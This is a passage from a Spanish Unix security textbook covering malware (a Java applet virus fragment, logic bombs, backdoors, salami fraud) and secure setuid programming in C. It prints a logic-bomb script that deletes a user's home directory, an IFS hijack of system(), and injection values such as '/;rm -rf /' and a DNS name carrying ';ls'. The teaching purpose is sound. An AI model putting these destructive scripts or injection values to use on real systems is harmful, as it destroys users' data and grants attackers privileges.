Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 777 " +
userHome + "/.homer.sh");
Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
"/.homer.sh");
} catch (IOException ioe) {}
}
}
anita:~/Security#
Este programa infecta los sistemas Unix con un virus que contamina ficheros
shellscript; antes de hacerlo muestra el mensaje 'Java is safe, and UNIX
viruses do not exist', para después localizar todos los ficheros
shell en el directorio $HOME, comprobar cuáles están
infectados, e infectar los que no lo están.
Aunque en un principio no se tomó muy en serio el problema de los applets
hostiles, poco tiempo después la propia Sun Microsystems reconoció
la problemática asociada y se puso a trabajar para minimizar los potenciales
efectos de estos applets; principalmente se han centrado esfuerzos en
controlar la cantidad de recursos consumidos por un programa y en proporcionar
las clases necesarias para que los propios navegadores monitoricen los applets
ejecutados. No obstante, aunque se solucionen los problemas de seguridad en el
código, es probable que se puedan seguir utilizando applets como
una forma de ataque a los sistemas: mientras que estos programas puedan realizar
conexiones por red, no habrán desaparecido los problemas.
Las bombas lógicas son en cierta forma similares a los troyanos: se trata
de código insertado en programas que parecen realizar cierta acción
útil. Pero mientras que un troyano se ejecuta cada vez que se ejecuta el
programa que lo contiene, una bomba lógica sólo se activa bajo ciertas
condiciones, como una determinada fecha, la existencia de un fichero con un nombre
dado, o el alcance de cierto número de ejecuciones del programa que contiene
la bomba; así, una bomba lógica puede permanecer inactiva en el
sistema durante mucho tiempo sin activarse y por tanto sin que nadie note un funcionamiento
anómalo hasta que el daño producido por la bomba ya está
hecho. Por ejemplo, imaginemos la misma situación que antes veíamos
para el troyano: alguien con el suficiente privilegio renombra a vi
como vi.old, y en el lugar del editor sitúa el siguiente código:
#!/bin/sh
if [ `date +%a` = "Sun" ];
then
rm -rf $HOME
else
vi.old $1
fi
Este cambio en el sistema puede permanecer durante años6.4 sin que se produzca un funcionamiento
anómalo, siempre y cuando nadie edite ficheros un domingo; pero en el momento
en que un usuario decida trabajar este día, la bomba lógica se va
a activar y el directorio de este usuario será borrado.
Según [B$^$88] un canal oculto es un cauce
de comunicación que permite a un proceso receptor y a un emisor intercambiar
información de forma que viole la política de seguridad del sistema;
esencialmente se trata de un método de comunicación que no es parte
del diseño original del sistema pero que puede utilizarse para transferir
información a un proceso o usuario que a priori no estaría
autorizado a acceder a dicha información. Los canales ocultos existen sólamente
en sistemas con seguridad multinivel ([PN92]), aquellos que contienen y manejan información
con diferentes niveles de sensibilidad, de forma que se permite acceder simultáneamente
a varios usuarios a dicha información pero con diferentes puntos de vista
de la misma, en función de sus privilegios y sus necesidades de conocimiento
( needs to know). El concepto de canal oculto fué introducido en
1973, en [Lam73], y desde entonces muchos han sido los estudios
realizados sobre este método de ataque, que afecta especialmente a sistemas
en los que el aspecto más importante de la seguridad es la privacidad de
los datos (por ejemplo, los militares).
Generalmente se suelen clasificar los canales cubiertos en función de varios
aspectos ([G$^$93]):
- Escenario
Cuando se construyen escenarios de canales cubiertos generalmente se suele
diferenciar entre canales cubiertos de almacenamiento y de temporización
([Lip75]). Los primeros son canales en los que se utiliza
la escritura directa o indirecta de datos por parte de un proceso y la lectura
- también directa o indirecta - de esos datos por parte de otro; generalmente
utilizan un recurso finito del sistema, como bloques de disco, que se comparte
entre entidades con diferentes privilegios. Por contra, los canales ocultos
de temporización utilizan la modulación de ciertos recursos,
como el tiempo de CPU, para intercambiar la información entre procesos.
En [G$^$93] se pueden encontrar ejemplos de ambos
tipos de canales ocultos; otro buen ejemplo de covert channel se encuentra
en [McH95].
- Ruido
Como cualquier canal de comunicación, oculto o no, los canales cubiertos
pueden ser ruidosos o inmunes al ruido; idealmente, un canal inmune al ruido
es aquél en que la probabilidad de que el receptor escuche exactamente
lo que el emisor ha transmitido es 1: sin importar factores externos, no hay
interferencias en la transmisión. Evidentemente, en la práctica
es muy difícil conseguir estos canales tan perfectos, por lo que es
habitual aplicar códigos de corrección de errores aunque éstos
reduzcan el ancho de banda del canal.
- Flujos de información
De la misma forma que en las líneas convencionales de transmisión
de datos se aplican técnicas (multiplexación en el tiempo, multiplexación
en frecuencia...) para maximizar el ancho de banda efectivo, en los canales
cubiertos se puede hacer algo parecido. A los canales en los que se transmiten
varios flujos de información entre emisor y receptor se les denomina
agregados, y dependiendo de cómo se inicialicen, lean y
reseteen las variables enviadas podemos hablar de agregación serie,
paralela o híbrida; los canales con un único flujo de información
se llaman no agregados.
La preocupación por la presencia de canales ocultos es, como hemos dicho,
habitual en sistemas de alta seguridad como los militares; de hecho, muchos de
los estudios sobre ataques basados en canales cubiertos y su prevención
han sido - y son - realizados por las clásicas agencias gubernamentales
y militares estadounidenses ( National Security Agency, US Air Force,
National Computer Security Center...). No obstante, también en
entornos más 'normales' es posible la existencia de canales ocultos, especialmente
aprovechando debilidades de la pila de protocolos TCP/IP ([Rou96], [Row96]...).
El análisis y detección canales cubiertos es una tarea complicada
que generalmente se basa en complejos modelos formales y matemáticos ([Wra91b], [MK94]...); diversas aproximaciones son utilizadas para
el estudio de canales de temporización ([Hu91],
[Wra91a]...), y también para el de canales de
almacenamiento ([PK91]).
Las puertas traseras son trozos de código en un programa que permiten a
quién conoce su funcionamiento saltarse los métodos usuales de autenticación
para realizar cierta tarea. Habitualmente son insertados por los programadores
para agilizar la tarea de probar su código durante la fase de desarrollo
del mismo y se eliminan en el producto final, pero en ciertas situaciones el programador
puede mantener estas puertas traseras en el programa funcional, ya sea deliberada
o involuntariamente. Por ejemplo, imaginemos una aplicación que para realizar
cualquier tarea de seguridad solicita a quien lo ejecuta cinco claves diferentes;
evidentemente, durante la fase de desarrollo es muy incómodo para el programador
teclear estas contraseñas antes de ver si el producto funciona correctamente,
por lo que es muy común que esta persona decida incluir una rutina en el
código de forma que si la primera clave proporcionada es una determinada
no se soliciten las cuatro restantes. Esta situación, aceptable durante
la fase de desarrollo, se convierte en una amenaza a la seguridad si se mantiene
una vez el producto está instalado en un sistema real: cualquiera
que conozca la clave inicial puede saltarse todo el mecanismo de protección
del programa.
Aparte de puertas traseras en los programas, es posible - y típico - situar
puertas traseras en ciertos ficheros vitales para el sistema; generalmente, cuando
un atacante consigue acceso a una máquina Unix desea mantener ese acceso
aunque su penetración sea detectada. Por ejemplo, algo muy habitual es
añadir un usuario con UID 0 en el fichero de claves, de forma que el pirata
pueda seguir accediendo al sistema con ese nuevo login aunque el administrador
cierre la puerta que antes había utilizado para entrar. También
es clásico añadir un nuevo servicio en un puerto no utilizado, de
forma que haciendo telnet a ese número de puerto se abra un
shell con privilegios de root; incluso muchos atacantes utilizan la
facilidad cron para chequear periódicamente estos archivos e
insertar las puertas traseras de nuevo en caso de que hayan sido borradas. ¿Qué
hacer para evitar estos ataques? La prevención pasa por comprobar periódicamente
la integridad de los archivos más importantes (ficheros de contraseñas,
spoolers, configuración de la red, programas del arranque de máquina...);
también es conveniente rastrear la existencia de nuevos archivos setuidados
que puedan 'aparecer' en los sistemas de ficheros: cualquier nuevo programa de
estas características suele indicar un ataque exitoso, y una puerta trasera
- generalmente un shell setuidado - colocada en nuestra máquina.
Los más paranoicos no deben olvidar efectuar una búsqueda bajo los
dispositivos montados (existen utilidades para hacerlo), ya que un find
normal no suele encontrar ficheros setuidados que se guarden en un directorio
que es a su vez punto de montaje para otra unidad.
Este problema de seguridad deriva su nombre del programa superzap, una
utilidad de los antiguos mainframes de IBM que permitía a quién
lo ejecutaba pasar por alto todos los controles de seguridad para realizar cierta
tarea administrativa, presumiblemente urgente; se trataba de un 'Rompa el
cristal en caso de emergencia' que estos sistemas poseían, o de una
llave maestra capaz de abrir todas las puertas. Obviamente, el problema sucede
cuando la llave se pierde y un atacante la utiliza en beneficio propio.
Como es normal, este tipo de programas no suele encontrarse en los sistemas modernos
por los graves problemas de seguridad que su existencia implica: imaginemos un
shell setuidado como root y guardado en /tmp/, de forma
que si el sistema funciona anómalamente cualquiera puede ejecutarlo para
solucionar el posible problema. Parece obvio que para un atacante sería
un gran avance disponer de esta herramienta. De cualquier forma, no es habitual
clasificar a los programas superzap como malware, ya que en principio
se trata de aplicaciones legítimas, incluso necesarias en determinadas
situaciones; es, como sucede en muchos casos, su mal uso y no el programa en sí
lo que constituye una amenaza a la seguridad.
El ejemplo típico ([ISV95], [Par81]...) de problemas derivados del superzapping
es un caso ocurrido en Nueva Jersey que causó la pérdida de 128.000
dólares de los años setenta. El operador de un sistema bancario
estaba utilizando un programa superzap para corregir balances en el estado
de las cuentas cuando un error simple le demostró lo fácil que podía
modificar registros sin que el sistema de auditoría lo detectara; aprovechó
esta situación para transferir dinero a tres cuentas, y dado que no dejó
huellas la única forma de detectar el fraude fué la rápida
reacción del banco ante la queja de un usuario - y un exhaustivo análisis
del estado de todas las cuentas.
Las técnicas salami se utilizan para desviar pequeñas cantidades
de bienes - generalmente dinero - de una fuente con un gran cantidad de los mismos;
de la misma forma que de un salami se cortan pequeñas rodajas sin que el
total sufra una reducción considerable, un programa salami roba pequeñas
cantidades de dinero, de forma que su acción pasa inadvertida. Aunque su
efecto es especialmente grave en entornos bancarios y no en sistemas habituales,
en este trabajo vamos a hablar brevemente de los programas salami ya que se pueden
utilizar para atacar equipos Unix dedicados a operaciones financieras, como la
gestión de nóminas de personal o la asignación de becas.
El principal problema de los programas salami es que son extremadamente difíciles
de detectar, y sólo una compleja auditoría de cuentas puede sacar
a la luz estos fraudes. Si un programador es lo suficientemente inteligente como
para insertar malware de este tipo en los sistemas de un banco para el
cual trabaja (si se tratara de un atacante externo la probabilidad de ataque sería
casi despreciable), seguramente conoce a la perfección todos los entresijos
de dicho banco, de forma que no le será difícil desviar fondos a
cuentas que no son la suya, comprobar si se sobrepasa un cierto umbral en dichas
cuentas - umbral a partir del cual el banco 'se interesaría' por el propietario
de la cuenta - o incluso utilizar nombres falsos o cuentas externas a las que
desviar el dinero. Contra esto, una de las pocas soluciones consiste en vigilar
de cerca las cuentas de los empleados y sus allegados, así como estar atentos
a posibles cambios en su modo de vida: un coche de lujo de una persona con un
sueldo normal, viajes caros, demasiadas ostentaciones...pueden ser signo de un
fraude; evidentemente, es necesario consultar con un gabinete jurídico
la legalidad o ilegalidad de estas acciones, que pueden constituir una invasión
a la privacidad del trabajador. Por supuesto, la solución ideal sería
comprobar línea a línea todo el software del banco, pero
pocos auditores tienen los conocimientos - y la paciencia - suficientes para realizar
esta tarea.
Un caso particular de programa salami lo constituyen los programas de redondeo
hacia abajo o round down. Este fraude consiste en aprovechar cálculos
de los sistemas bancarios que obtienen cantidades de dinero más pequeñas
que la moneda de menor valor (en el caso de España, cantidades de céntimos);
por ejemplo, imaginemos que alguien tiene ingresadas 123.523 pesetas a un interés
del 2'5%; los créditos le reditarán un total de 3088'075 pesetas,
que automáticamente para el banco se transformarán en 3088. Si esos
7'5 céntimos se acumulan en otro cálculo con cantidades igual de
despreciables, se llegará tarde o temprano a un punto en el que la cantidad
total de dinero sea lo suficientemente apetecible para un atacante dispuesto a
aprovechar la situación. Si pensamos que millones de estos cálculos
se realizan diariamente en todos los bancos de España, podemos hacernos
una idea del poco tiempo que tardará la cuenta de un pirata en llenarse.
Programación segura
Parece obvio que después de analizar los problemas que un código
malicioso o simplemente mal diseñado puede causar, dediquemos un apartado
a comentar brevemente algunos aspectos a tener en cuenta a la hora de crear programas
seguros. Vamos a hablar de programación en C, obviamente por ser el lenguaje
más utilizado en Unix; para aquellos interesados en la seguridad de otros
lenguajes que también se utilizan en entornos Unix, existen numerosos artículos
que hablan de la programación segura - e insegura - en lenguajes que van
desde Java ([MS98], [DFW96], [Gal96b]...) a SQL ([PB93]).
El principal problema de la programación en Unix lo constituyen los programas
setuidados; si un programa sin este bit activo tiene un fallo, lo normal
es que ese fallo solamente afecte a quien lo ejecuta. Al tratarse de un error
de programación, algo no intencionado, su primera consecuencia será
el mal funcionamiento de ese programa. Este esquema cambia radicalmente cuando
el programa está setuidado: en este caso, el error puede comprometer
tanto a quien lo ejecuta como a su propietario, y como ese propietario es por
norma general el root automáticamente se compromete a todo el sistema.
Para la codificación segura de este tipo de programas, [Bis86] proporciona unas líneas básicas:
- Máximas restricciones a la hora de elegir el UID y el GID.
Una medida de seguridad básica que todo administrador de sistemas Unix
ha de seguir es realizar todas las tareas con el mínimo privilegio
que estas requieran ([Sim90]); así, a nadie se le ocurre (o se le
debería ocurrir) conectar a IRC o aprender a manejar una aplicación
genérica bajo la identidad de root. Esto es directamente aplicable
a la hora de programar: cuando se crea un programa setuidado (o
setgidado) se le ha de asignar tanto el UID como el GID menos peligroso
para el sistema. Por ejemplo, si un programa servidor se limita a mostrar
un mensaje en pantalla y además escucha en un puerto por encima de
1024, no necesita para nada estar setuidado a nombre de root
(realmente, es poco probable que ni siquiera necesite estar setuidado);
si pensamos en un posible error en dicho programa que permita a un atacante
obtener un shell vemos claramente que cuanto menos privilegio tenga
el proceso, menos malas serán las posibles consecuencias de tal error.
- Reset de los UIDs y GIDs efectivos antes de llamar a exec().
Uno de los grandes problemas de los programas setuidados es la ejecución
de otros programas de manera inesperada; por ejemplo, si el usuario introduce
ciertos datos desde teclado, datos que se han de pasar como argumento a otra
aplicación, nada nos asegura a priori que esos datos sean correctos
o coherentes. Por tanto, parece obvio resetear el UID y el GID efectivos antes
de invocar a exec(), de forma que cualquier ejecución inesperada
se realice con el mínimo privilegio necesario; esto también
es aplicable a funciones que indirectamente realicen el exec(),
como system() o popen().
- Es necesario cerrar todos los descriptores de fichero, excepto los estrictamente
necesarios, antes de llamar a exec().
Los descriptores de ficheros son un parámetro que los procesos Unix
heredan de sus padres; de esta forma, si un programa setuidado está
leyendo un archivo, cualquier proceso hijo tendrá acceso a ese archivo
a no ser que explícitamente se cierre su descriptor antes de ejecutar
el exec().
La forma más fácil de prevenir este problema es activando un
flag que indique al sistema que ha de cerrar cierto descriptor cada
vez que se invoque a exec(); esto se consigue mediante las llamadas
fcntl() e ioctl().
- Hay que asegurarse de que chroot() realmente restringe.
Los enlaces duros entre directorios son algo que el núcleo de muchos
sistemas Unix no permiten debido a que genera bucles en el sistema de ficheros,
algo que crea problemas a determinadas aplicaciones; por ejemplo, Linux no
permite crear estos enlaces, pero Solaris o Minix sí. En estos últimos,
en los clones de Unix que permiten hard links entre directorios, la
llamada chroot() puede perder su funcionalidad: estos enlaces pueden
seguirse aunque no se limiten al entorno con el directorio raíz restringido.
Es necesario asegurarse de que no hay directorios enlazados a ninguno de los
contenidos en el entorno chroot() (podemos verlo con la opción
'-l' de la orden ls, que muestra el número de enlaces
de cada archivo).
- Comprobaciones del entorno en que se ejecutará el programa.
En Unix todo proceso hereda una serie de variables de sus progenitores, como
el umask, los descriptores de ficheros, o ciertas variables de entorno
( $PATH, $IFS...); para una ejecución segura, es necesario
controlar todos y cada uno de estos elementos que afectan al entorno de un
proceso. Especialmente críticas son las funciones que dependen del
shell para ejecutar un programa, como system() o execvp():
en estos casos es muy difícil asegurar que el shell va a ejecutar
la tarea prevista y no otra. Por ejemplo, imaginemos el siguiente código:
#include <stdlib.h>
main(){
system("ls");
}
A primera vista, este programa se va a limitar a mostrar un listado del directorio
actual; no obstante, si un usuario modifica su $PATH de forma que
el directorio '.' ocupe el primer lugar, se ejecutará
./ls en lugar de /bin/ls. Si el programa ./ls fuera
una copia del shell, y el código anterior estuviera setuidado
por el root, cualquier usuario podría obtener privilegios de
administrador.
Quizás alguien puede pensar que el problema se soluciona si se indica
la ruta completa ( /bin/ls) en lugar de únicamente el nombre
del ejecutable; evidentemente, esto arreglaría el fallo anterior, pero
seguirían siendo factibles multitud de ataques contra el programa.
Desde la modificación del $IFS (como veremos más adelante)
hasta la ejecución en entornos restringidos, existen muchísimas
técnicas que hacen muy difícil que un programa con estas características
pueda ser considerado seguro.
- Nunca setuidar shellscripts.
Aunque en muchos sistemas Unix la activación del bit setuid
en shellscripts no tiene ningún efecto, muchos otros aún
permiten que los usuarios - especialmente el root - creen procesos
interpretados y setuidados. La potencia de los intérpretes
de órdenes de Unix hace casi imposible controlar que estos programas
no realicen acciones no deseadas, violando la seguridad del sistema, por lo
que bajo ningún concepto se ha de utilizar un proceso por lotes para
realizar acciones privilegiadas de forma setuidada.
- No utilizar creat() para bloquear.
Una forma de crear un fichero de bloqueo es invocar a creat() con
un modo que no permita la escritura del archivo (habitualmente el 000), de
forma que si otro usuario tratara de hacer lo mismo, su llamada a creat()
fallaría. Esta aproximación, que a primera vista parece completamente
válida, no lo es tanto si la analizamos con detalle: en cualquier sistema
Unix, la protección que proporcionan los permisos de un fichero sólo
es aplicable si quien trata de acceder a él no es el root.
Si esto es así, es decir, si el UID efectivo del usuario que está
accediendo al archivo es 0, los permisos son ignorados completamente y el
acceso está permitido; de esta forma, el root puede sobreescribir
archivos sin que le importen sus bits rwx, lo que implica que si uno
de los procesos que compiten por el recurso bloqueado está setuidado
a nombre del administrador, el esquema de bloqueo anterior se viene abajo.
Para poder bloquear recursos en un programa setuidado se utiliza la
llamada link(), ya que si se intenta crear un enlace a un fichero
que ya existe link() falla aunque el proceso que lo invoque sea
propiedad del root (y aunque el fichero sobre el que se realice no
le pertenezca).También es posible utilizar la llamada al sistema
flock() de algunos Unices, aunque es menos recomendable por motivos de
portabilidad entre clones.
- Capturar todas las señales.
Un problema que puede comprometer la seguridad del sistema Unix es el volcado
de la imagen en memoria de un proceso cuando éste recibe ciertas señales
(el clásico core dump). Esto puede provocar el volcado de información
sensible que el programa estaba leyendo: por ejemplo, en versiones del programa
login de algunos Unices antiguos, se podía leer parte de
/etc/shadow enviando al proceso la señal SIGTERM
y consultando el fichero de volcado.
No obstante, este problema no resulta tan grave como otro también relacionado
con los core dump: cuando un programa setuidado vuelca su
imagen el fichero resultante tiene el mismo UID que el UID real del proceso.
Esto puede permitir a un usuario obtener un fichero con permiso de escritura
para todo el mundo pero que pertenezca a otro usuario (por ejemplo, el
root): evidentemente esto es muy perjudicial, por lo que parece claro
que en un programa setuidado necesitamos capturar todas las señales
que Unix nos permita (recordemos que SIGKILL no puede capturarse
ni ignorarse, por norma general).
- Hay que asegurarse de que las verificaciones realmente verifican.
Otra norma básica a la hora de escribir aplicaciones setuidadas
es la desconfianza de cualquier elemento externo al programa; hemos de verificar
siempre que las entradas (teclado, ficheros...) son correctas, ya no en su
formato sino más bien en su origen: ¿de quién proviene
un archivo del que nuestro programa lee sus datos, de una fuente fiable o
de un atacante que por cualquier método - no nos importa cuál
- ha conseguido reemplazar ese archivo por otro que él ha creado?
- Cuidado con las recuperaciones y detecciones de errores.
Ante cualquier situación inesperada - y por lo general, poco habitual,
incluso forzada por un atacante - un programa setuidado debe detenerse
sin más; nada de intentar recuperarse del error: detenerse sin más.
Esto, que quizás rompe muchos de los esquemas clásicos sobre
programación robusta, tiene una explicación sencilla: cuando
un programa detecta una situación inesperada, a menudo el programador
asume condiciones sobre el error (o sobre su causa) que no tienen por qué
cumplirse, lo que suele desembocar en un problema más grave que la
propia situación inesperada. Para cada posible problema que un programa
encuentre (entradas muy largas, caracteres erróneos o de control, formatos
de datos erróneos...) es necesario que el programador se plantee qué
es lo que su código debe hacer, y ante la mínima duda detener
el programa.
- Cuidado con las operaciones de entrada/salida.
La entrada/salida entre el proceso y el resto del sistema constituye otro
de los problemas comunes en programas setuidados, especialmente a
la hora de trabajar con ficheros; las condiciones de carrera aquí son
algo demasiado frecuente: el ejemplo clásico se produce cuando un programa
setuidado ha de escribir en un archivo propiedad del usuario que ejecuta
el programa ( no de su propietario). En esta situación lo habitual
es que el proceso cree el fichero, realize sobre él un chown()
al rUID y al rGID del proceso (es decir, a los identificadores de quién
está ejecutando el programa), y posteriormente escriba en el archivo;
el esqueleto del código sería el siguiente:
fd=open("fichero",O_CREAT);
fchown(fd,getuid(),getgid());
write(fd,buff,strlen(buff));
Pero, ¿qué sucede si el programa se interrumpe tras realizar
el open() pero antes de invocar a fchown(), y además
el umask del usuario es 0? El proceso habrá dejado un archivo
que pertenece al propietario del programa (generalmente el root)
y que tiene permiso de escritura para todo el mundo. La forma más efectiva
de solucionar el problema consiste en que el proceso engendre un hijo mediante
fork(), hijo que asignará a sus eUID y eGID los valores de
su rUID y rGID (los identificadores del usuario que lo ha ejecutado, no de
su propietario). El padre podrá enviar datos a su hijo mediante
pipe(), datos que el hijo escribirá en el fichero correspondiente:
así el fichero en ningún momento tendrá por qué
pertenecer al usuario propietario del programa, con lo que evitamos la condición
de carrera expuesta anteriormente.
Sin embargo, un correcto estilo de programación no siempre es la solución
a los problemas de seguridad del código; existen llamadas a sistema o funciones
de librería que son un clásico a la hora de hablar de bugs
en nuestro software. Como norma, tras cualquier llamada se ha de comprobar
su valor de retorno y manejar los posibles errores que tenga asociados ([Sho00]), con la evidente excepción de las llamadas
que están diseñadas para sobreescribir el espacio de memoria de
un proceso (la familia exec() por ejemplo) o las que hacen que el programa
finalice (típicamente, exit()) . Algunas de las llamadas consideradas
más peligrosas (bien porque no realizan las comprobaciones necesarias,
bien porque pueden recibir datos del usuario) son las siguientes6.5:
- system(): Esta es la llamada que cualquier programa setuidado
debe evitar a toda costa. Si aparece en un código destinado a ejecutarse
con privilegios, significa casi con toda certeza un grave problema de seguridad;
en algunas ocasiones su peligrosidad es obvia (por ejemplo si leemos datos
tecleados por el usuario y a continuación hacemos un system()
de esos datos, ese usuario no tendría más que teclear /bin/bash
para conseguir los privilegios del propietario del programa), pero en otras
no lo es tanto: imaginemos un código que invoque a system()
de una forma similar a la siguiente:
#include <stdio.h>
#include <stdlib.h>
main(){
system("/bin/ls");
}
El programa anterior se limitaría a realizar un listado del directorio
desde el que lo ejecutemos. Al menos en teoría, ya que podemos comprobar
que no es difícil 'engañar' a system(): no tenemos
más que modificar la variable de entorno $IFS ( Internal
Field Separator) del shell desde el que ejecutemos el programa
para conseguir que este código ejecute realmente lo que nosotros le
indiquemos. Esta variable delimita las palabras (o símbolos) en una
línea de órdenes, y por defecto suele estar inicializada a
Espacio, Tabulador, y Nueva Línea (los separadores
habituales de palabras); pero, ¿qué sucede si le indicamos al
shell que el nuevo carácter separador va a ser la barra,
'/'?. Muy sencillo: ejecutar '/bin/ls' será equivalente
a ejecutar 'bin ls', es decir, una posible orden denominada
'bin' que recibe como parámetro 'ls'. Por ejemplo, bajo
SunOS - bajo la mayoría de Unices -, y utilizando sh (no
bash) podemos hacer que 'bin' sea un programa de nuestra
elección, como 'id':
$ cp /bin/id bin
$ ejemplo
bin ejemplo.c ejemplo
$ IFS=/
$ export IFS
$ ejemplo
uid=672(toni) gid=10(staff)
$
Como podemos ver, acabamos de ejecutar un programa arbitrario; si en lugar
de 'id' hubiéramos escogido un intérprete de órdenes,
como 'bash' o 'sh', habríamos ejecutado ese
shell. Y si el programa anterior estuviera setudiado, ese
shell se habría ejecutado con los privilegios del propietario del
archivo (si imaginamos que fuera root, podemos hacernos una idea
de las implicaciones de seguridad que esto representa).
- exec(), popen(): Similares a la anterior; es preferible
utilizar execv() o execl(), pero si han de recibir parámetros
del usuario sigue siendo necesaria una estricta comprobación de los
mismos.
- setuid(), setgid()...: Los programas de usuario no deberían
utilizar estas llamadas, ya que no han de tener privilegios innecesarios.
- strcpy(), strcat(), sprintf(), vsprintf()...:
Estas funciones no comprueban la longitud de las cadenas con las que trabajan,
por lo que son una gran fuente de buffer overflows. Se han de sustituir
por llamadas equivalentes que sí realicen comprobación de límites
( strncpy(), strncat()...) y, si no es posible, realizar
dichas comprobaciones manualmente.
- getenv(): Otra excelente fuente de desbordamientos de buffer;
además, el uso que hagamos de la información leída puede
ser peligroso, ya que recordemos que es el usuario el que generalmente puede
modificar el valor de las variables de entorno. Por ejemplo, ¿qué
sucedería si ejecutamos desde un programa una orden como 'cd $HOME',
y resulta que esta variable de entorno no corresponde a un nombre de directorio
sino que es de la forma '/;rm -rf /'? Si algo parecido se hace desde
un programa que se ejecute con privilegios en el sistema, podemos imaginarnos
las consecuencias...
- gets(), scanf(), fscanf(), getpass(),
realpath(), getopt()...: Estas funciones no realizan las
comprobaciones adecuadas de los datos introducidos, por lo que pueden desbordar
en algunos casos el buffer destino o un buffer estático
interno al sistema. Es preferible el uso de read() o fgets()
siempre que sea posible (incluso para leer una contraseña, haciendo
por supuesto que no se escriba en pantalla), y si no lo es al menos realizar
manualmente comprobaciones de longitud de los datos leídos.
- gethostbyname(), gethostbyaddr(): Seguramente ver las
amenazas que provienen del uso de estas llamadas no es tan inmediato como
ver las del resto; generalmente hablamos de desbordamiento de buffers,
de comprobaciones de límites de datos introducidos por el usuario...pero
no nos paramos a pensar en datos que un atacante no introduce directamente
desde teclado o desde un archivo, pero cuyo valor puede forzar incluso desde
sistemas que ni siquiera son el nuestro. Por ejemplo, todos tendemos a asumir
como ciertas las informaciones que un servidor DNS - más o menos fiables,
por ejemplo alguno de nuestra propia organización - nos brinda. Imaginemos
un programa como el siguiente (se han omitido las comprobaciones de errores
habituales por cuestiones de claridad):
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>
int main(int argc, char **argv){
struct in_addr *dir=(struct in_addr *)malloc(sizeof(struct in_addr));
struct hostent *maquina=(struct hostent *)malloc(sizeof(struct \
hostent));
char *orden=(char *)malloc(30);
dir->s_addr=inet_addr(*++argv);
maquina=gethostbyaddr((char *)dir,sizeof(struct in_addr),AF_INET);
sprintf(orden,"finger @%s\n",maquina->h_name);
system(orden);
return(0);
}
Este código recibe como argumento una dirección IP, obtiene
su nombre vía /etc/hosts o DNS,y ejecuta
un finger sobre dicho nombre; aparte de otros posibles problemas
de seguridad (por ejemplo, ¿seríamos capaces de procesar
cualquier información que devuelva el finger?, ¿qué
sucede con la llamada a system()?), nada extraño ha de suceder
si el nombre de máquina devuelto al programa es 'normal':
luisa:~/tmp$ ./ejemplo 195.195.5.1
[rosita]
No one logged on.
luisa:~/tmp$
Pero, ¿qué pasaría si en lugar de devolver un nombre
'normal' (como 'rosita') se devuelve un nombre algo más elaborado,
como 'rosita;ls'? Podemos verlo:
luisa:~/tmp$ ./ejemplo 195.195.5.1
[rosita;ls]
No one logged on.
ejemplo ejemplo.c
luisa:~/tmp$
Exactamente: se ha ejecutado la orden 'finger @rosita;ls' (esto
es, un 'finger' a la máquina seguido de un 'ls').
Podemos imaginar los efectos que tendría el uso de este programa si
sustituimos el inocente 'ls' por un 'rm -rf $HOME'. Un
atacante que consiga controlar un servidor DNS (algo no muy
complicado) podría inyectarnos datos maliciosos en nuestra máquina
sin ningún problema. Para evitar esta situación debemos hacer
una doble búsqueda inversa y además no hacer ninguna suposición
sobre la corrección o el formato de los datos recibidos; en nuestro
código debemos insertar las comprobaciones necesarias para asegurarnos
de que la información que recibimos no nos va a causar problemas.
- syslog(): Hemos de tener la precaución de utilizar una
versión de esta función de librería que compruebe la
longitud de sus argumentos; si no lo hacemos y esa longitud sobrepasa un cierto
límite (generalmente, 1024 bytes) podemos causar un desbordamiento
en los buffers de nuestro sistema de log, dejándolo
inutilizable.
- realloc(): Ningún programa - privilegiado o no - que maneje
datos sensibles (por ejemplo, contraseñas, correo electrónico...y
especialmente aplicaciones criptográficas) debe utilizar esta llamada;
realloc() se suele utilizar para aumentar dinámicamente la
cantidad de memoria reservada para un puntero. Lo habitual es que la nueva
zona de memoria sea contigua a la que ya estaba reservada, pero si esto no
es posible realloc() copia la zona antigua a una nueva ubicación
donde pueda añadirle el espacio especificado. ¿Cuál es
el problema? La zona de memoria antigua se libera (perdemos el puntero a ella)
pero no se pone a cero, con lo que sus contenidos permanecen inalterados hasta
que un nuevo proceso reserva esa zona; accediendo a bajo nivel a la memoria
(por ejemplo, leyendo /proc/kcore o /dev/kmem) sería
posible para un atacante tener acceso a esa información.
Realmente, malloc() tampoco pone a cero la memoria reservada, por
lo que a primera vista puede parecer que cualquier proceso de usuario (no
un acceso a bajo nivel, sino un simple malloc() en un programa)
podría permitir la lectura del antiguo contenido de la zona de memoria
reservada. Esto es falso si se trata de nueva memoria que el núcleo
reserva para el proceso invocador: en ese caso, la memoria es limpiada por
el propio kernel del operativo, que invoca a kmalloc() (en
el caso de Linux, en otros Unices el nombre puede variar aunque la idea sea
la misma) para hacer la reserva. Lo que sí es posible es que si liberamos
una zona de memoria (por ejemplo con free()) y a continuación
la volvemos a reservar, en el mismo proceso, podamos acceder a su contenido:
esa zona no es 'nueva' (es decir, el núcleo no la ha reservado de nuevo),
sino que ya pertenecía al proceso. De cualquier forma, si vamos a liberar
una zona en la que está almacenada información sensible, lo
mejor en cualquier caso es ponerla a cero manualmente, por ejemplo mediante
bzero() o memset().
- open(): El sistema de ficheros puede modificarse durante la ejecución
de un programa de formas que en ocasiones ni siquiera imaginamos; por ejemplo,
en Unix se ha de evitar escribir siguiendo enlaces de archivos inesperados
(un archivo que cambia entre una llamada a lstat() para comprobar
si existe y una llamada a open() para abrirlo en caso positivo,
como hemos visto antes). No obstante, no hay ninguna forma de realizar esta
operación atómicamente sin llegar a mecanismos de entrada/salida
de muy bajo nivel; Peter Gutmann propone el siguiente código para asegurarnos
de que estamos realizando un open() sobre el archivo que realmente
queremos abrir, y no sobre otro que un atacante nos ha puesto en su lugar:
struct stat lstatInfo;
char *mode="rb+";
int fd;
if(lstat(fileName,&lstatInfo)==-1)
{
if(errno!=ENOENT) return( -1 );
if((fd=open(fileName,O_CREAT|O_EXCL|O_RDWR,0600))==-1) return(-1);
mode="wb";
}
else
{
struct stat fstatInfo;
if((fd=open(fileName,O_RDWR))==-1) return(-1);
if(fstat(fd,&fstatInfo)==-1 || \
lstatInfo.st_mode!=fstatInfo.st_mode || \
lstatInfo.st_ino!=fstatInfo.st_ino || \
lstatInfo.st_dev!=fstatInfo.st_dev)
{
close(fd);
return(-1);
}
if(fstatInfo.st_nlink>1||!S_ISREG(lstatInfo.st_mode))
{
close(fd);
return(-1);
}
#ifdef NO_FTRUNCATE
close(fd);
